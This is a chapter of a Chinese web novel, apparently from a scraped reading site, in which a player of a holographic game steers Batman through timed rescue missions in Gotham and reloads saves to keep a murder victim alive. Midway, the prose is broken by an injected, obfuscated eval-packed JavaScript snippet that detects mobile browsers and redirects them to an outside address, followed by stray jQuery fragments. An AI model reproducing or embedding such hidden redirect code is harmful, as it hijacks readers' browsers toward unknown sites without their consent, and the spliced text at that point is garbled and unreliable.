第二天一大早，玩家便早早地起床，坐在桌前，开始琢磨着怎么给游戏公司一份满意的答复。
昨天晚上，或许是日有所思，夜有所梦，他梦到了自己抓住蝙蝠披风起飞的场景，本来前半段只是在普普通通地荡秋千，结果到梦的后半段，好像突然有谁凑到自己耳边，气流吹得自己后颈发凉。
那人说：“该给公司写报告了。”
于是玩家骤然惊醒，此时天刚蒙蒙亮。
终端发出了阵阵蜂鸣声，玩家在睡觉前把它随意放在了自己枕头边，想来大概是终端的震动让自己做了这个古怪的梦。
他躺在床上，翻来覆去，本想再继续睡个回笼觉，但是手又不自觉地碰到了终端，玩家下意识地将它拿在手中，打开了它，于是密密麻麻的信息出现在眼前，拜光污染所赐，这下好了，玩家彻底清醒了。
还是想想该怎么写报告吧。
报告这东西，一般来讲，为了让今年的数据好看一点，百分之八十的内容都是用来糊弄上司的，只有那剩下的一小部分是真正讲了点干货的，但很可惜，玩家是真的热爱游戏才会做这行的。
在摸鱼学面前，还是热爱更胜一筹。
玩家认真地思索要怎么写这份让自己万分纠结的1号测评。
目前，玩家的通关进度仍旧停在哥谭的第一个晚上，准确来说是初入哥谭的第八个小时。
但这也是玩家来到哥谭的第72个小时，此时外界的时间已经过去了五天。
……没错，玩家闭关了整整五天，除了吃吃喝喝解决生理问题，剩下的时间都待在全息游戏舱中，终于像是渡劫一样成功度过了他在哥谭的第一个夜晚，这才满意地为自己放了一个假。
这时候或许有人要问了，为什么玩家的游戏进度显示哥谭才过了一个晚上，难道这游戏还和现实有时差。
答案是，这完全是玩家在自讨苦吃，游戏与现实确实是有时差的，只不过游戏的时间要比现实要快的多。
会造成现在的问题，完全是因为玩家在强求一个今夜无人死亡的完美答案。
他这个人是有点完美强迫症的，这点在游戏中表现得更加明显，更何况眼睁睁地看着任务失败，这显然触犯了玩家的逆鳞，就像是解一道数学大题，明明你发现自己有足够的知识能解开它，笔就在你的手中，思路就在眼前，但你却眼睁睁地看着正确答案从你的手中溜走了，想必任谁来了都会捶胸顿足。
于是在那个雨夜的哥谭，玩家立刻开始行动起来。
对于玩家来说，首先要做的行动，便是将任务栏中的这几十件任务分门别类的整理好。
最终呈现在他面前的便是整整齐齐排列的四类游戏任务。
主线任务，支线任务，随机限时任务，随机不限时任务。
一目了然，很显然，这些闪烁着倒计时的随机限时任务正是玩家今晚的重中之重。
好消息是，在整理完之后，玩家发现，这些限时的随机任务相当简洁清晰，语句简短，并且给了所在地的坐标。
而坏消息是，这些任务数量几乎占据了全部任务的二分之一，坐标散乱，并且都闪烁着不妙的倒计时。
玩家记得这些随机任务都是由哥谭市民随机发放，但是那一串数据里可没说这些限时任务的完成时限会如此的……急迫。他能看到这些任务中，最长的，有将近5个小时的倒计时，但最短的，却只有十几分钟。
但玩家没有多想，他解除了暂停，先开始了第一项测试。
他将那项只剩下十几分钟的限时任务转交给了蝙蝠侠。
由于道德委员会的限制，游戏禁止向游戏角色输入时间指令，理由是时间指令会令本就存在时间概念的游戏与游戏角色之间产生程序错误，于是玩家只得手动删改任务，将倒计时变成限时、迫切等词，寄希望于蝙蝠侠的程序足够灵敏。
两人之间没有任何交流，在收到任务的那一刻，蝙蝠侠顿了顿，他似乎总会在接收到任务之后有几秒的卡顿，而随后，蝙蝠侠便如同一只真正的蝙蝠一样，从高处一跃而下，向着玩家提供的坐标处飞去，高效，迅速，就像是一台真正的机器。
而在玩家注视着红色倒计时的被动读秒下，蝙蝠侠的停顿则显得格外显眼，玩家猜测这或许是老游戏手动操作特有的卡顿。
但从另一个角度来说，这又很像是蝙蝠侠在沉思。
玩家是说，他很少用这么人性化的形容来描述一段程序的卡顿，只不过蝙蝠侠真的是个很怪的角色。
在你将他当作游戏中同等的人来看待时，他那高效的手段，毫不出错的策略会令你觉得他是一段程序的产物，而当你试图将他当作一段程序来看待的时候，对方每次接到任务的停顿，偶尔的心声又让你觉得他有着自己的想法。
而现在，神奇的是，玩家从对方一言未发的身影中感受到了浓浓的安心感。
只不过很快，玩家就又发现了一件好消息和一件坏消息。
好消息是，哥谭的任务似乎比新手关要简单得多，敌人不是充满警惕的精锐士兵，没有耳听八方的能力，哪怕蝙蝠侠毫无顾忌地展开披风也不会令这些人在意，哥谭的天空总是有着各种各样的杂音。
而哥谭这座城市里的敌人也还没有对蝙蝠侠升起恐惧之心——这意味着当他们看到天空中硕大的黑影时还会惊讶地喊叫，而不是直接拿枪对准蝙蝠侠来一梭子，甚至他们大多数人手中也没有这么先进的武器，最多是小刀和曲棍球棒。
甚至不需要雨声作为遮掩，在这片地图中，哥谭就是蝙蝠侠的猎场，这意味着蝙蝠侠能以雷霆之势将他们绳之以法，而不需要像是新手关卡一样需要隐蔽身形，等待最佳时刻才能趁机给敌人致命一击。
但坏消息是，玩家忽略了一点，那就是与新手教程的场景相比，哥谭这张地图显然大的多，天知道一开始玩家发现哥谭只是一座城市的时候，他还在怀疑制作组是不是在偷工减料，但现在玩家恨不得让这座城市再小一点，再小一点。
因为这些任务所在的地点各不相同，仿佛星星一般散落在这整座城市。
并不像是新手关卡，玩家睁开眼睛，脚下便是战场，这就是演习与实战的差别，新手关卡中敌人固定，场景单一，而随机任务虽然降低了敌人的难度，但敌人却显得更加随机，场景也更加多变，还有可恶的倒计时。
蝙蝠侠就像是捞星星的人，要在这些星星黯淡无光前重新将它们挂回天空，当然，在玩家这种浪漫绝缘体看来，这只不过是任务罢了。
他紧紧地注视着倒计时。
就在刚刚，玩家眼睁睁地看着任务的倒计时慢慢归零。
早在将这项任务交给蝙蝠侠前，玩家就注意到它的倒计时已经变得颇为不妙，他有预感到这项任务会失败，因为前后任务两地的方向可以说是南辕北辙，只不过他还是抱着试试看的心态将它交给了蝙蝠侠。
玩家憋着一口气，他可不喜欢这样的结果。
蝙蝠侠也不喜欢。
他虽然看不到消失的倒计时，也没有玩家那能将数据量化的游戏系统，但是还有什么能比任务地点的残骸更加直观的呢。
蝙蝠静悄悄地落在了那具尸体旁。
蝙蝠侠的嘴唇紧紧抿起，此时他的心声就像是哥谭的大雨一样沉闷。
而就在这时，玩家注意到眼前的【极限救援】任务中的倒计时停止了，但是任务却并没有消失，而是变成了【检查尸体】。
【检查尸体：是谁害死了可怜的切尔茜，请为她找到真凶吧，请为她完成最后的遗愿吧，请为她报仇吧。】
它变成了一项不限时的任务，玩家意识到了什么，他的目光慢慢地移向了那些明明是随机任务，却没有倒计时的任务上。
在那一系列任务当中，【打捞尸体】【找出真凶】【报仇】等名称历历在目，在玩家为了将这些任务分类而一目十行的时候，他就思考过一件事，那就是既然都是随机任务，那么为什么这些任务没有所谓的倒计时呢。
而现在，玩家有了答案。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261235|198032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
蝙蝠侠不清楚玩家在想什么，他只是安静地半蹲下身来，动作很轻很轻，被雨水冲刷得一尘不染的黑色披风此刻沾上了泥土。
他静静地注视着眼前的这具尸体，仿佛在哀悼，又仿佛在愤怒。
而在玩家的视线中，那具尸体渐渐蒙上了一层神秘的光泽，上面标注了无数注意事项一样的圆圈，仿佛只要玩家触碰那些圆圈，他就可以调查这具尸体，从中获得线索，找出真凶。
“肿胀碎裂的手腕，被钝物痛击所导致的痕迹，那个混蛋……” 玩家也听到蝙蝠侠的心声，“她试图呼吸，但是有人扼住了她的脖子……这一切就发生在十几分钟前。”
十几分钟前所发生的一切仿佛历历在目：“她明白自己命不久矣，所以她挣扎着起身，她身上的擦伤就是在那时候留下的，她给了那混蛋一拳。”
玩家也看到那一道光痕，随着真相的揭示，那些线索直直地连成了一条线，指向了凶手逃走的方向：“那一拳结结实实地打在了那混蛋的脸上……我们可以根据这一线索来找到凶手。”
“好姑娘，你逮到他了……现在该我们做点什么了。”
而玩家却说：“不。”
他连看都没有看那具尸体，而是冷酷地调出面板，读档，于是他们重新回到了新手关刚结束时的那一幕。
“是该我做点什么才对。”
游戏其实并没有存档位。
玩家所说的读档，是主动调取历史数据，用过去的数据来覆盖新的数据，这是大部分玩家都不会涉及的领域，但却是单机速通玩家常用的操作。
这款游戏唯一的存档点，就是蝙蝠侠的死亡，而一旦蝙蝠侠死亡，那么玩家则会重新回到死亡事件发生前，也就是任务开始的前一秒，就像是新手关卡一样，眼一闭一睁，他又重新站在了大楼顶部。
但这也意味着那些伴随着倒计时结束而消失的任务再也不会出现在玩家眼前了。
而现在，玩家与蝙蝠侠回到了刚完成新手教程的那一刻。
大雨倾盆。
玩家打了个响指，于是天上的雨水再次静止，他将地图重新呼出，并且将这些任务的坐标，倒计时，与蝙蝠侠完成任务的时间，以及赶路所需的时间一一标注在地图上，随后开始寻求一个最优解。
这注定是一个漫长的夜晚。
但话又说回来，玩家难道不觉得枯燥吗？
他将行动权全权交给了蝙蝠侠，而自己所做的则是计算，计算一切，游戏系统将一切数据通通量化，而玩家所做的就是选择一个最合适的时机将自己选中的任务交给蝙蝠侠，这听起来是件很枯燥的任务。
不。
玩家只觉得自己在玩某种电影式的，选择取向游戏，他需要反复回档，通过自己的决策来将事件导向一个HE的方向。
甚至在这部电影中，就连主角都在帮他，蝙蝠侠执行同样的任务时方式多种多样，甚至也一次比一次快。
这很正常，玩家想，因为玩家的读档并没有回溯对方的数据，毕竟游戏的回档从来不会涉及玩家，第四天灾从来都超脱五行之外，不在六界之中，而本该由玩家来扮演的角色·蝙蝠侠自然不会被数据覆写所波及到。
至于愈战愈勇，通过某种算法来不断优化行程路线，一百年前的技术就能办到这件事。
而蝙蝠侠，他不动声色，没有对玩家的读档与眼前的景色更替表达出任何困惑，只是在这漫长的一夜中，一旦玩家的动作有过些许迟滞，或者他们在某地待的时间过长，那么蝙蝠侠就会催促玩家。
这些催促都是由蝙蝠侠的心声所发出的，就好像是某种待机提醒一样。
“今晚还没有结束，哥谭仍旧需要我。”
“我知道。”
也不知道是不是玩家听多了蝙蝠侠的心声，有时候他也开始肆无忌惮地回应对方的话，毕竟要玩家这在这漫长的时间里一言不发还是太痛苦了。
他冷静地向蝙蝠侠保证：“今晚可不会这么轻易地结束。”